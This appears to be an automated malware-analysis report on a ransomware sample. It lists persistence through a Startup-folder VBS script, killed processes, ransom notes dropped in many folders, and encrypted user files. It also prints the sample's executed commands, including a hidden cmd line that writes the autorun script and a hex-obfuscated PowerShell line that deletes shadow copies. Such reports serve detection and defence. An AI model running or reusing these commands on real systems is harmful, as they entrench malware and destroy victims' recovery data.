Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\x.vbs
Creates the following files on removable media
- <Drive name for removable media>:\readme.2a90c4ab.txt
Malicious functions
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\cmd.exe
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\000814251_video_01.avi
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\garden.htm
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\coffee.bmp
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\about.htm
- %HOMEPATH%\desktop\64bit_notes.htm
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\trivial-merge.htm
Modifies file system
Creates the following files
- <Current directory>\log.2a90c4ab.txt
- %HOMEPATH%\favorites\microsoft websites\readme.2a90c4ab.txt
- %HOMEPATH%\favorites\msn websites\readme.2a90c4ab.txt
- %HOMEPATH%\favorites\windows live\readme.2a90c4ab.txt
- %HOMEPATH%\links\readme.2a90c4ab.txt
- %HOMEPATH%\local settings\readme.2a90c4ab.txt
- %HOMEPATH%\music\readme.2a90c4ab.txt
- %HOMEPATH%\my documents\readme.2a90c4ab.txt
- %HOMEPATH%\pictures\readme.2a90c4ab.txt
- %HOMEPATH%\videos\readme.2a90c4ab.txt
- %HOMEPATH%\printhood\readme.2a90c4ab.txt
- %HOMEPATH%\recent\readme.2a90c4ab.txt
- %HOMEPATH%\saved games\readme.2a90c4ab.txt
- %HOMEPATH%\searches\readme.2a90c4ab.txt
- %HOMEPATH%\sendto\readme.2a90c4ab.txt
- %HOMEPATH%\start menu\readme.2a90c4ab.txt
- %HOMEPATH%\templates\readme.2a90c4ab.txt
- %HOMEPATH%\favorites\links for united states\readme.2a90c4ab.txt
- %HOMEPATH%\nethood\readme.2a90c4ab.txt
- %HOMEPATH%\favorites\links\readme.2a90c4ab.txt
- C:\users\default user\readme.2a90c4ab.txt
- C:\readme.2a90c4ab.txt
- <Current directory>\readme.2a90c4ab.txt
- C:\documents and settings\readme.2a90c4ab.txt
- C:\kms\readme.2a90c4ab.txt
- C:\recovery\readme.2a90c4ab.txt
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\readme.2a90c4ab.txt
- C:\users\readme.2a90c4ab.txt
- %HOMEPATH%\readme.2a90c4ab.txt
- %HOMEPATH%\downloads\readme.2a90c4ab.txt
- %HOMEPATH%\contacts\readme.2a90c4ab.txt
- %HOMEPATH%\cookies\readme.2a90c4ab.txt
- %HOMEPATH%\desktop\readme.2a90c4ab.txt
- %HOMEPATH%\documents\readme.2a90c4ab.txt
- %HOMEPATH%\documents\my music\readme.2a90c4ab.txt
- %HOMEPATH%\documents\my pictures\readme.2a90c4ab.txt
- %HOMEPATH%\documents\my videos\readme.2a90c4ab.txt
- %HOMEPATH%\favorites\readme.2a90c4ab.txt
- D:\readme.2a90c4ab.txt
Modifies the following files
- C:\kms\kms_vl_all_aio_debug.log.2a90c4ab
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi.2a90c4ab
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\winre.wim.2a90c4ab
- %HOMEPATH%\desktop\000814251_video_01.avi.2a90c4ab
- %HOMEPATH%\contacts\user.contact.2a90c4ab
- %HOMEPATH%\desktop\508softwareandos.doc.2a90c4ab
- %HOMEPATH%\desktop\64bit_notes.htm.2a90c4ab
- %HOMEPATH%\desktop\about.htm.2a90c4ab
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.2a90c4ab
- %HOMEPATH%\desktop\archer.avi.2a90c4ab
- %HOMEPATH%\favorites\links\web slice gallery.url.2a90c4ab
- %HOMEPATH%\searches\everywhere.search-ms.2a90c4ab
- %HOMEPATH%\searches\indexed locations.search-ms.2a90c4ab
Changes user data files extensions (Trojan.Encoder).
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c echo on error resume next:CreateObject("WScript.Shell").Run "<Full path to file>",1: >"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\x.vbs"' (with hidden window)
Restarts the analyzed sample
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c echo on error resume next:CreateObject("WScript.Shell").Run "<Full path to file>",1: >"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\x.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2)...
